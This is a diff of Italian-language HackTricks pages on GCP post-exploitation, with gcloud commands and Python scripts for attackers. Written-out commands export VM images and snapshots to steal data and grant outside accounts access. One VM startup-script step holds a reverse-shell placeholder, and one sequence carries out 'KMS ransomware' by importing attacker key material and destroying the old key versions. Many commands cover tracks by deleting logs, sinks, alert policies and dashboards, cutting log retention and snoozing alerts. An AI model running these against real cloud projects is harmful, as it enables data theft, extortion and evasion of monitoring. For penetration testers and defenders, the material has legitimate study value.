**Importa un database** (sovrascrivendo) da un Cloud Storage Bucket:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Importa database dal bucket</summary>
|
||||
```bash
|
||||
# Import format SQL, you could also import formats bak and csv
|
||||
gcloud sql import sql <instance-id> <gs://bucketName/fileName>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `cloudsql.databases.delete`
|
||||
|
||||
Elimina un database dall'istanza db:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Elimina database</summary>
|
||||
```bash
|
||||
gcloud sql databases delete <db-name> --instance <instance-id>
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+83
-23
@@ -4,37 +4,47 @@
|
||||
|
||||
## Compute
|
||||
|
||||
Per ulteriori informazioni su Compute e VPC (Networking) controlla:
|
||||
Per maggiori informazioni su Compute e VPC (Networking) consulta:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-compute-instances-enum/
|
||||
{{#endref}}
|
||||
|
||||
### Esporta e ispeziona le immagini localmente
|
||||
### Export & Inspect Images locally
|
||||
|
||||
Questo permetterebbe a un attaccante di **accedere ai dati contenuti all'interno di immagini già esistenti** o **creare nuove immagini di VM in esecuzione** e accedere ai loro dati senza avere accesso alla VM in esecuzione.
|
||||
Questo permetterebbe a un attaccante di **accedere ai dati contenuti all'interno di immagini già esistenti** o di **creare nuove immagini di VM in esecuzione** e accedere ai loro dati senza avere accesso alla VM in esecuzione.
|
||||
|
||||
È possibile esportare un'immagine VM in un bucket e poi scaricarla e montarla localmente con il comando:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Esporta e scarica immagine VM</summary>
|
||||
```bash
|
||||
gcloud compute images export --destination-uri gs://<bucket-name>/image.vmdk --image imagetest --export-format vmdk
|
||||
# The download the export from the bucket and mount it locally
|
||||
```
|
||||
Per eseguire questa azione, l'attaccante potrebbe aver bisogno di privilegi sul bucket di archiviazione e sicuramente **privilegi su cloudbuild**, poiché è il **servizio** che verrà richiesto di eseguire l'esportazione.\
|
||||
Inoltre, affinché questo funzioni, il SA di codebuild e il SA di compute necessitano di permessi privilegiati.\
|
||||
Il SA di cloudbuild `<project-id>@cloudbuild.gserviceaccount.com` ha bisogno di:
|
||||
</details>
|
||||
|
||||
Per eseguire questa azione l'attaccante potrebbe aver bisogno di privilegi sullo storage bucket e sicuramente di **privilegi su cloudbuild** in quanto è il **servizio** che verrà incaricato di eseguire l'export\
|
||||
Inoltre, perché ciò funzioni, il codebuild SA e il compute SA necessitano di permessi privilegiati.\
|
||||
Il cloudbuild SA `<project-id>@cloudbuild.gserviceaccount.com` necessita di:
|
||||
|
||||
- roles/iam.serviceAccountTokenCreator
|
||||
- roles/compute.admin
|
||||
- roles/iam.serviceAccountUser
|
||||
|
||||
E il SA `<project-id>-compute@developer.gserviceaccount.com` ha bisogno di:
|
||||
E il SA `<project-id>-compute@developer.gserviceaccount.com` necessita di:
|
||||
|
||||
- roles/compute.storageAdmin
|
||||
- oles/compute.storageAdmin
|
||||
- roles/storage.objectAdmin
|
||||
|
||||
### Esporta e ispeziona snapshot e dischi localmente
|
||||
### Esportare e ispezionare snapshot e dischi localmente
|
||||
|
||||
Non è possibile esportare direttamente snapshot e dischi, ma è possibile **trasformare uno snapshot in un disco, un disco in un'immagine** e seguendo la **sezione precedente**, esportare quell'immagine per ispezionarla localmente.
|
||||
Non è possibile esportare direttamente snapshot e dischi, ma è possibile **trasformare uno snapshot in un disco, un disco in un'immagine** e, seguendo la **sezione precedente**, esportare quell'immagine per ispezionarla localmente
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Creare un disco da uno snapshot e un'immagine da un disco</summary>
|
||||
```bash
|
||||
# Create a Disk from a snapshot
|
||||
gcloud compute disks create [NEW_DISK_NAME] --source-snapshot=[SNAPSHOT_NAME] --zone=[ZONE]
|
||||
@@ -42,65 +52,115 @@ gcloud compute disks create [NEW_DISK_NAME] --source-snapshot=[SNAPSHOT_NAME] --
|
||||
# Create an image from a disk
|
||||
gcloud compute images create [IMAGE_NAME] --source-disk=[NEW_DISK_NAME] --source-disk-zone=[ZONE]
|
||||
```
|
||||
</details>
|
||||
|
||||
### Ispezionare un'immagine creando una VM
|
||||
|
||||
Con l'obiettivo di accedere ai **dati memorizzati in un'immagine** o all'interno di una **VM in esecuzione** da cui un attaccante **ha creato un'immagine,** è possibile concedere a un account esterno l'accesso all'immagine:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Concedere accesso all'immagine e creare una VM</summary>
|
||||
```bash
|
||||
gcloud projects add-iam-policy-binding [SOURCE_PROJECT_ID] \
|
||||
--member='serviceAccount:[TARGET_PROJECT_SERVICE_ACCOUNT]' \
|
||||
--role='roles/compute.imageUser'
|
||||
```
|
||||
e poi crea una nuova VM da esso:
|
||||
</details>
|
||||
|
||||
e poi creare una nuova VM da essa:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Crea un'istanza VM dall'immagine</summary>
|
||||
```bash
|
||||
gcloud compute instances create [INSTANCE_NAME] \
|
||||
--project=[TARGET_PROJECT_ID] \
|
||||
--zone=[ZONE] \
|
||||
--image=projects/[SOURCE_PROJECT_ID]/global/images/[IMAGE_NAME]
|
||||
```
|
||||
Se non puoi dare accesso al tuo account esterno tramite l'immagine, puoi avviare una VM utilizzando quell'immagine nel progetto della vittima e **far eseguire alla metadata una reverse shell** per accedere all'immagine aggiungendo il parametro:
|
||||
</details>
|
||||
|
||||
Se non riuscissi a dare al tuo account esterno accesso all'image, potresti avviare una VM usando quell'image nel progetto della vittima e **far sì che i metadata eseguano una reverse shell** per accedere all'image aggiungendo il parametro:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Crea VM con reverse shell nei metadata</summary>
|
||||
```bash
|
||||
--metadata startup-script='#! /bin/bash
|
||||
echo "hello"; <reverse shell>'
|
||||
```
|
||||
### Ispezionare uno Snapshot/Disk collegandolo a una VM
|
||||
</details>
|
||||
|
||||
Con l'obiettivo di accedere ai **dati memorizzati in un disco o in uno snapshot, potresti trasformare lo snapshot in un disco, un disco in un'immagine e seguire i passaggi precedenti.**
|
||||
### Ispezionare uno Snapshot/Disco collegandolo a una VM
|
||||
|
||||
Oppure potresti **concedere a un account esterno l'accesso** al disco (se il punto di partenza è uno snapshot, concedi l'accesso allo snapshot o crea un disco da esso):
|
||||
Con l'obiettivo di accedere ai **dati memorizzati in un disco o in uno snapshot, puoi trasformare lo snapshot in un disco, un disco in un'immagine e seguire i passaggi precedenti.**
|
||||
|
||||
Oppure puoi **concedere l'accesso a un account esterno** sul disco (se il punto di partenza è uno snapshot, concedi l'accesso allo snapshot o crea un disco da esso):
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Concedere accesso al disco</summary>
|
||||
```bash
|
||||
gcloud projects add-iam-policy-binding [PROJECT_ID] \
|
||||
--member='user:[USER_EMAIL]' \
|
||||
--role='roles/compute.storageAdmin'
|
||||
```
|
||||
**Collega il disco** a un'istanza:
|
||||
</details>
|
||||
|
||||
**Allega il disco** a un'istanza:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Allega il disco all'istanza</summary>
|
||||
```bash
|
||||
gcloud compute instances attach-disk [INSTANCE_NAME] \
|
||||
--disk [DISK_NAME] \
|
||||
--zone [ZONE]
|
||||
```
|
||||
Montare il disco all'interno della VM:
|
||||
</details>
|
||||
|
||||
1. **SSH nella VM**:
|
||||
Montare il disco nella VM:
|
||||
|
||||
1. **Connettiti via SSH alla VM**:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>SSH nella VM e montare il disco</summary>
|
||||
|
||||
```sh
|
||||
gcloud compute ssh [INSTANCE_NAME] --zone [ZONE]
|
||||
```
|
||||
|
||||
2. **Identificare il Disco**: Una volta dentro la VM, identifica il nuovo disco elencando i dispositivi disco. Tipicamente, puoi trovarlo come `/dev/sdb`, `/dev/sdc`, ecc.
|
||||
3. **Formattare e Montare il Disco** (se è un disco nuovo o raw):
|
||||
</details>
|
||||
|
||||
- Crea un punto di montaggio:
|
||||
2. **Identificare il disco**: Una volta nella VM, identifica il nuovo disco elencando i dispositivi disco. Tipicamente lo troverai come `/dev/sdb`, `/dev/sdc`, ecc.
|
||||
3. **Formattare e montare il disco** (se è un disco nuovo o raw):
|
||||
|
||||
- Creare un punto di mount:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Creare il punto di mount</summary>
|
||||
|
||||
```sh
|
||||
sudo mkdir -p /mnt/disks/[MOUNT_DIR]
|
||||
```
|
||||
|
||||
- Monta il disco:
|
||||
</details>
|
||||
|
||||
- Montare il disco:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Montare il dispositivo del disco</summary>
|
||||
|
||||
```sh
|
||||
sudo mount -o discard,defaults /dev/[DISK_DEVICE] /mnt/disks/[MOUNT_DIR]
|
||||
```
|
||||
|
||||
Se **non puoi dare accesso a un progetto esterno** allo snapshot o al disco, potresti dover **eseguire queste azioni all'interno di un'istanza nello stesso progetto dello snapshot/disk**.
|
||||
</details>
|
||||
|
||||
Se **non puoi dare accesso a un progetto esterno** allo snapshot o al disco, potrebbe essere necessario **eseguire queste azioni all'interno di un'istanza nello stesso progetto dello snapshot/disk**.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+32
-8
@@ -4,7 +4,7 @@
|
||||
|
||||
## Filestore
|
||||
|
||||
Per ulteriori informazioni su Filestore controlla:
|
||||
Per maggiori informazioni su Filestore consulta:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-filestore-enum.md
|
||||
@@ -12,7 +12,11 @@ Per ulteriori informazioni su Filestore controlla:
|
||||
|
||||
### Montare Filestore
|
||||
|
||||
Un filesystem condiviso **potrebbe contenere informazioni sensibili** interessanti dal punto di vista di un attaccante. Con accesso a Filestore è possibile **montarlo**:
|
||||
Un filesystem condiviso **potrebbe contenere informazioni sensibili** interessanti dal punto di vista di un attacker. Con l'accesso a Filestore è possibile **montarlo**:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Montare il filesystem di Filestore</summary>
|
||||
```bash
|
||||
sudo apt-get update
|
||||
sudo apt-get install nfs-common
|
||||
@@ -22,15 +26,21 @@ showmount -e <IP>
|
||||
mkdir /mnt/fs
|
||||
sudo mount [FILESTORE_IP]:/[FILE_SHARE_NAME] /mnt/fs
|
||||
```
|
||||
Per trovare l'indirizzo IP di un'istanza di filestore, controlla la sezione di enumerazione della pagina:
|
||||
</details>
|
||||
|
||||
Per trovare l'IP address di una Filestore instance, controlla la sezione di enumeration della pagina:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-filestore-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Rimuovere le restrizioni e ottenere permessi extra
|
||||
### Rimuovere le restrizioni e ottenere permessi aggiuntivi
|
||||
|
||||
Se l'attaccante non si trova in un indirizzo IP con accesso alla condivisione, ma hai abbastanza permessi per modificarla, è possibile rimuovere le restrizioni o l'accesso su di essa. È anche possibile concedere più privilegi sul tuo indirizzo IP per avere accesso admin alla condivisione:
|
||||
Se l'attaccante non si trova in un IP address con accesso alla share, ma disponi di sufficienti permissions per modificarla, è possibile rimuovere le restrizioni o l'accesso su di essa. È anche possibile concedere più privilegi all'IP address per ottenere accesso admin alla share:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Aggiorna Filestore instance per consentire l'accesso</summary>
|
||||
```bash
|
||||
gcloud filestore instances update nfstest \
|
||||
--zone=<exact-zone> \
|
||||
@@ -56,9 +66,15 @@ gcloud filestore instances update nfstest \
|
||||
}
|
||||
}
|
||||
```
|
||||
### Ripristina un backup
|
||||
</details>
|
||||
|
||||
Se c'è un backup è possibile **ripristinarlo** in un'istanza esistente o in una nuova in modo che le sue **informazioni diventino accessibili:**
|
||||
### Ripristinare un backup
|
||||
|
||||
Se è presente un backup, è possibile **ripristinarlo** in un'istanza esistente o in una nuova, così che le sue **informazioni diventino accessibili:**
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Crea una nuova istanza e ripristina il backup</summary>
|
||||
```bash
|
||||
# Create a new filestore if you don't want to modify the old one
|
||||
gcloud filestore instances create <new-instance-name> \
|
||||
@@ -76,9 +92,15 @@ gcloud filestore instances restore <new-instance-name> \
|
||||
|
||||
# Follow the previous section commands to mount it
|
||||
```
|
||||
</details>
|
||||
|
||||
### Crea un backup e ripristinalo
|
||||
|
||||
Se **non hai accesso a una condivisione e non vuoi modificarla**, è possibile **creare un backup** di essa e **ripristinarla** come menzionato in precedenza:
|
||||
Se **non hai accesso a una condivisione e non vuoi modificarla**, è possibile **creare un backup** di essa e **ripristinarlo** come indicato in precedenza:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Crea backup e ripristino in una nuova istanza</summary>
|
||||
```bash
|
||||
# Create share backup
|
||||
gcloud filestore backups create <back-name> \
|
||||
@@ -89,4 +111,6 @@ gcloud filestore backups create <back-name> \
|
||||
|
||||
# Follow the previous section commands to restore it and mount it
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+12
-6
@@ -10,18 +10,24 @@ Puoi trovare ulteriori informazioni su IAM in:
|
||||
../gcp-services/gcp-iam-and-org-policies-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Concessione di accesso alla console di gestione <a href="#granting-access-to-management-console" id="granting-access-to-management-console"></a>
|
||||
### Concessione dell'accesso alla management console <a href="#granting-access-to-management-console" id="granting-access-to-management-console"></a>
|
||||
|
||||
L'accesso alla [GCP management console](https://console.cloud.google.com) è **fornito agli account utente, non agli account di servizio**. Per accedere all'interfaccia web, puoi **concedere accesso a un account Google** che controlli. Questo può essere un account generico "**@gmail.com**", non deve **essere un membro dell'organizzazione target**.
|
||||
L'accesso alla [GCP management console](https://console.cloud.google.com) è **fornito agli account utente, non agli account di servizio**. Per accedere all'interfaccia web, puoi **concedere l'accesso a un account Google** che controlli. Questo può essere un account generico "**@gmail.com**", non deve **necessariamente essere un membro dell'organizzazione target**.
|
||||
|
||||
Per **concedere** il ruolo primitivo di **Owner** a un account generico "@gmail.com", però, dovrai **utilizzare la console web**. `gcloud` restituirà un errore se provi a concedere un permesso superiore a Editor.
|
||||
Per **concedere** però il ruolo primitivo di **Owner** a un account generico "@gmail.com", dovrai **utilizzare la web console**. `gcloud` restituirà un errore se provi a concedergli un permesso superiore a Editor.
|
||||
|
||||
Puoi utilizzare il seguente comando per **concedere a un utente il ruolo primitivo di Editor** al tuo progetto esistente:
|
||||
Puoi usare il seguente comando per **assegnare a un utente il ruolo primitivo Editor** al tuo progetto esistente:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Assegna il ruolo Editor all'utente</summary>
|
||||
```bash
|
||||
gcloud projects add-iam-policy-binding [PROJECT] --member user:[EMAIL] --role roles/editor
|
||||
```
|
||||
Se hai avuto successo qui, prova **ad accedere all'interfaccia web** ed esplora da lì.
|
||||
</details>
|
||||
|
||||
Questo è il **livello più alto che puoi assegnare utilizzando lo strumento gcloud**.
|
||||
Se ci sei riuscito, prova a **accedere all'interfaccia web** ed esplorare da lì.
|
||||
|
||||
Questo è il **livello massimo che puoi assegnare usando lo strumento gcloud**.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+39
-9
@@ -12,7 +12,11 @@ Trova informazioni di base su KMS in:
|
||||
|
||||
### `cloudkms.cryptoKeyVersions.destroy`
|
||||
|
||||
Un attaccante con questo permesso potrebbe distruggere una versione KMS. Per fare ciò, è necessario prima disabilitare la chiave e poi distruggerla:
|
||||
Un attacker con questo permesso potrebbe distruggere una versione di KMS. Per farlo devi prima disabilitare la chiave e poi distruggerla:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Disabilita e distruggi la versione della chiave (Python)</summary>
|
||||
```python
|
||||
# pip install google-cloud-kms
|
||||
|
||||
@@ -57,22 +61,28 @@ disable_key_version(project_id, location_id, key_ring_id, key_id, key_version)
|
||||
# Destroy the key version
|
||||
destroy_key_version(project_id, location_id, key_ring_id, key_id, key_version)
|
||||
```
|
||||
</details>
|
||||
|
||||
### KMS Ransomware
|
||||
|
||||
In AWS è possibile **rubare completamente una chiave KMS** modificando la politica delle risorse KMS e consentendo solo all'account degli attaccanti di utilizzare la chiave. Poiché queste politiche delle risorse non esistono in GCP, ciò non è possibile.
|
||||
In AWS è possibile **rubare completamente una chiave KMS** modificando la resource policy di KMS e consentendo all'account dell'attaccante di usare la chiave. Poiché queste resource policies non esistono in GCP, questo non è possibile.
|
||||
|
||||
Tuttavia, c'è un altro modo per eseguire un ransomware KMS globale, che comporterebbe i seguenti passaggi:
|
||||
Tuttavia, esiste un altro modo per eseguire un KMS Ransomware globale, che comporterebbe i seguenti passaggi:
|
||||
|
||||
- Creare una **nuova versione della chiave con un materiale di chiave** importato dall'attaccante
|
||||
- Creare una nuova **versione della chiave con materiale chiave** importato dall'attaccante
|
||||
```bash
|
||||
gcloud kms import-jobs create [IMPORT_JOB] --location [LOCATION] --keyring [KEY_RING] --import-method [IMPORT_METHOD] --protection-level [PROTECTION_LEVEL] --target-key [KEY]
|
||||
```
|
||||
- Impostalo come **versione predefinita** (per i dati futuri da crittografare)
|
||||
- **Crittografa nuovamente i dati più vecchi** crittografati con la versione precedente con la nuova.
|
||||
- **Elimina la chiave KMS**
|
||||
- Ora solo l'attaccante, che possiede il materiale della chiave originale, potrebbe essere in grado di decrittografare i dati crittografati
|
||||
- Impostarla come **versione predefinita** (per i dati futuri che verranno crittografati)
|
||||
- **Ri-crittografare i dati più vecchi** crittografati con la versione precedente usando quella nuova.
|
||||
- **Eliminare la chiave KMS**
|
||||
- Ora solo l'attaccante, che possiede il materiale originale della chiave, potrebbe essere in grado di decifrare i dati cifrati
|
||||
|
||||
#### Ecco i passaggi per importare una nuova versione e disabilitare/eliminare i dati più vecchi:
|
||||
#### Ecco i passaggi per importare una nuova versione e disabilitare/eliminare i dati precedenti:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Importa nuova versione della chiave e elimina la versione vecchia</summary>
|
||||
```bash
|
||||
# Encrypt something with the original key
|
||||
echo "This is a sample text to encrypt" > /tmp/my-plaintext-file.txt
|
||||
@@ -146,7 +156,13 @@ gcloud kms keys versions destroy \
|
||||
--version 1
|
||||
|
||||
```
|
||||
</details>
|
||||
|
||||
### `cloudkms.cryptoKeyVersions.useToEncrypt` | `cloudkms.cryptoKeyVersions.useToEncryptViaDelegation`
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Cifrare i dati con una chiave simmetrica (Python)</summary>
|
||||
```python
|
||||
from google.cloud import kms
|
||||
import base64
|
||||
@@ -181,7 +197,13 @@ plaintext = 'your-data-to-encrypt'
|
||||
ciphertext = encrypt_symmetric(project_id, location_id, key_ring_id, key_id, plaintext)
|
||||
print('Ciphertext:', ciphertext)
|
||||
```
|
||||
</details>
|
||||
|
||||
### `cloudkms.cryptoKeyVersions.useToSign`
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Firma un messaggio con una chiave asimmetrica (Python)</summary>
|
||||
```python
|
||||
import hashlib
|
||||
from google.cloud import kms
|
||||
@@ -215,7 +237,13 @@ message = 'your-message'
|
||||
signature = sign_asymmetric(project_id, location_id, key_ring_id, key_id, key_version, message)
|
||||
print('Signature:', signature)
|
||||
```
|
||||
</details>
|
||||
|
||||
### `cloudkms.cryptoKeyVersions.useToVerify`
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Verificare una firma con chiave asimmetrica (Python)</summary>
|
||||
```python
|
||||
from google.cloud import kms
|
||||
import hashlib
|
||||
@@ -242,4 +270,6 @@ return verify_response.success
|
||||
verified = verify_asymmetric_signature(project_id, location_id, key_ring_id, key_id, key_version, message, signature)
|
||||
print('Verified:', verified)
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+80
-8
@@ -2,29 +2,33 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Informazioni di Base
|
||||
## Informazioni di base
|
||||
|
||||
Per ulteriori informazioni controlla:
|
||||
Per maggiori informazioni consulta:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-logging-enum.md
|
||||
{{#endref}}
|
||||
|
||||
Per altri modi per interrompere il monitoraggio controlla:
|
||||
Per altri modi per interrompere il monitoraggio consulta:
|
||||
|
||||
{{#ref}}
|
||||
gcp-monitoring-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
### Logging Predefinito
|
||||
### Default Logging
|
||||
|
||||
**Per impostazione predefinita non verrai catturato solo per aver eseguito azioni di lettura. Per ulteriori informazioni controlla la sezione Logging Enum.**
|
||||
**Per impostazione predefinita non verrai scoperto semplicemente per aver eseguito azioni di sola lettura. Per maggiori informazioni consulta la sezione Logging Enum.**
|
||||
|
||||
### Aggiungi Principale Escluso
|
||||
### Aggiungi principal escluso
|
||||
|
||||
In [https://console.cloud.google.com/iam-admin/audit/allservices](https://console.cloud.google.com/iam-admin/audit/allservices) e [https://console.cloud.google.com/iam-admin/audit](https://console.cloud.google.com/iam-admin/audit) è possibile aggiungere principali per non generare log. Un attaccante potrebbe abusare di questo per evitare di essere catturato.
|
||||
In [https://console.cloud.google.com/iam-admin/audit/allservices](https://console.cloud.google.com/iam-admin/audit/allservices) and [https://console.cloud.google.com/iam-admin/audit](https://console.cloud.google.com/iam-admin/audit) è possibile aggiungere principal per evitare la generazione di log. Un attaccante potrebbe abusarne per evitare di essere scoperto.
|
||||
|
||||
### Leggi log - `logging.logEntries.list`
|
||||
### Leggere i log - `logging.logEntries.list`
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Leggi le voci di log</summary>
|
||||
```bash
|
||||
# Read logs
|
||||
gcloud logging read "logName=projects/your-project-id/logs/log-id" --limit=10 --format=json
|
||||
@@ -34,58 +38,124 @@ gcloud logging read "timestamp >= \"2023-01-01T00:00:00Z\"" --limit=10 --format=
|
||||
|
||||
# Use these options to indicate a different bucket or view to use: --bucket=_Required --view=_Default
|
||||
```
|
||||
</details>
|
||||
|
||||
### `logging.logs.delete`
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Elimina voci di log</summary>
|
||||
```bash
|
||||
# Delete all entries from a log in the _Default log bucket - logging.logs.delete
|
||||
gcloud logging logs delete <log-name>
|
||||
```
|
||||
</details>
|
||||
|
||||
### Scrivere log - `logging.logEntries.create`
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Scrivere una voce di log</summary>
|
||||
```bash
|
||||
# Write a log entry to try to disrupt some system
|
||||
gcloud logging write LOG_NAME "A deceptive log entry" --severity=ERROR
|
||||
```
|
||||
</details>
|
||||
|
||||
### `logging.buckets.update`
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Aggiorna la durata di conservazione del bucket dei log</summary>
|
||||
```bash
|
||||
# Set retention period to 1 day (_Required has a fixed one of 400days)
|
||||
|
||||
gcloud logging buckets update bucketlog --location=<location> --description="New description" --retention-days=1
|
||||
```
|
||||
</details>
|
||||
|
||||
### `logging.buckets.delete`
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Elimina bucket di log</summary>
|
||||
```bash
|
||||
# Delete log bucket
|
||||
gcloud logging buckets delete BUCKET_NAME --location=<location>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `logging.links.delete`
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Elimina link del log</summary>
|
||||
```bash
|
||||
# Delete link
|
||||
gcloud logging links delete <link-id> --bucket <bucket> --location <location>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `logging.views.delete`
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Elimina logging view</summary>
|
||||
```bash
|
||||
# Delete a logging view to remove access to anyone using it
|
||||
gcloud logging views delete <view-id> --bucket=<bucket> --location=global
|
||||
```
|
||||
</details>
|
||||
|
||||
### `logging.views.update`
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Aggiorna la view di logging per nascondere i dati</summary>
|
||||
```bash
|
||||
# Update a logging view to hide data
|
||||
gcloud logging views update <view-id> --log-filter="resource.type=gce_instance" --bucket=<bucket> --location=global --description="New description for the log view"
|
||||
```
|
||||
</details>
|
||||
|
||||
### `logging.logMetrics.update`
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Aggiorna metriche basate sui log</summary>
|
||||
```bash
|
||||
# Update log based metrics - logging.logMetrics.update
|
||||
gcloud logging metrics update <metric-name> --description="Changed metric description" --log-filter="severity>CRITICAL" --project=PROJECT_ID
|
||||
```
|
||||
</details>
|
||||
|
||||
### `logging.logMetrics.delete`
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Eliminare metriche basate sui log</summary>
|
||||
```bash
|
||||
# Delete log based metrics - logging.logMetrics.delete
|
||||
gcloud logging metrics delete <metric-name>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `logging.sinks.delete`
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Elimina log sink</summary>
|
||||
```bash
|
||||
# Delete sink - logging.sinks.delete
|
||||
gcloud logging sinks delete <sink-name>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `logging.sinks.update`
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Aggiorna/interrompi sink di log</summary>
|
||||
```bash
|
||||
# Disable sink - logging.sinks.update
|
||||
gcloud logging sinks update <sink-name> --disabled
|
||||
@@ -106,4 +176,6 @@ gcloud logging sinks update SINK_NAME --clear-exclusions
|
||||
gcloud logging sinks update SINK_NAME --use-partitioned-tables
|
||||
gcloud logging sinks update SINK_NAME --no-use-partitioned-tables
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+58
-10
@@ -1,16 +1,16 @@
|
||||
# GCP - Monitoraggio Post Exploitation
|
||||
# GCP - Monitoring Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Monitoraggio
|
||||
|
||||
Per ulteriori informazioni controlla:
|
||||
Per ulteriori informazioni consulta:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-monitoring-enum.md
|
||||
{{#endref}}
|
||||
|
||||
Per altri modi per interrompere i log controlla:
|
||||
Per altri modi per interferire con i log consulta:
|
||||
|
||||
{{#ref}}
|
||||
gcp-logging-post-exploitation.md
|
||||
@@ -18,13 +18,23 @@ gcp-logging-post-exploitation.md
|
||||
|
||||
### `monitoring.alertPolicies.delete`
|
||||
|
||||
Elimina una politica di avviso:
|
||||
Elimina una alert policy:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Elimina alert policy</summary>
|
||||
```bash
|
||||
gcloud alpha monitoring policies delete <policy>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `monitoring.alertPolicies.update`
|
||||
|
||||
Interrompere una politica di avviso:
|
||||
Interrompi un alert policy:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Interrompi alert policy</summary>
|
||||
```bash
|
||||
# Disable policy
|
||||
gcloud alpha monitoring policies update <alert-policy> --no-enabled
|
||||
@@ -39,9 +49,15 @@ gcloud alpha monitoring policies update <alert-policy> --set-notification-channe
|
||||
gcloud alpha monitoring policies update <alert-policy> --policy="{ 'displayName': 'New Policy Name', 'conditions': [ ... ], 'combiner': 'AND', ... }"
|
||||
# or use --policy-from-file <policy-file>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `monitoring.dashboards.update`
|
||||
|
||||
Modifica un dashboard per interromperlo:
|
||||
Modificare una dashboard per interromperne il funzionamento:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Interrompi dashboard</summary>
|
||||
```bash
|
||||
# Disrupt dashboard
|
||||
gcloud monitoring dashboards update <dashboard> --config='''
|
||||
@@ -53,16 +69,28 @@ widgets:
|
||||
content: Hello World
|
||||
'''
|
||||
```
|
||||
</details>
|
||||
|
||||
### `monitoring.dashboards.delete`
|
||||
|
||||
Elimina un dashboard:
|
||||
Elimina una dashboard:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Elimina dashboard</summary>
|
||||
```bash
|
||||
# Delete dashboard
|
||||
gcloud monitoring dashboards delete <dashboard>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `monitoring.snoozes.create`
|
||||
|
||||
Impedire che le politiche generino avvisi creando un snoozer:
|
||||
Impedire alle policy di generare avvisi creando uno snoozer:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Crea uno snoozer per bloccare gli avvisi</summary>
|
||||
```bash
|
||||
# Stop alerts by creating a snoozer
|
||||
gcloud monitoring snoozes create --display-name="Maintenance Week" \
|
||||
@@ -70,9 +98,15 @@ gcloud monitoring snoozes create --display-name="Maintenance Week" \
|
||||
--start-time="2023-03-01T03:00:00.0-0500" \
|
||||
--end-time="2023-03-07T23:59:59.5-0500"
|
||||
```
|
||||
</details>
|
||||
|
||||
### `monitoring.snoozes.update`
|
||||
|
||||
Aggiorna il timing di un snoozer per prevenire la creazione di avvisi quando l'attaccante è interessato:
|
||||
Aggiorna la pianificazione di uno snoozer per evitare che vengano creati alert quando l'attaccante è interessato:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Aggiorna la pianificazione dello snoozer</summary>
|
||||
```bash
|
||||
# Modify the timing of a snooze
|
||||
gcloud monitoring snoozes update <snooze> --start-time=START_TIME --end-time=END_TIME
|
||||
@@ -80,19 +114,33 @@ gcloud monitoring snoozes update <snooze> --start-time=START_TIME --end-time=END
|
||||
# odify everything, including affected policies
|
||||
gcloud monitoring snoozes update <snooze> --snooze-from-file=<file>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `monitoring.notificationChannels.delete`
|
||||
|
||||
Elimina un canale configurato:
|
||||
|
||||
<details>
|
||||
|
||||
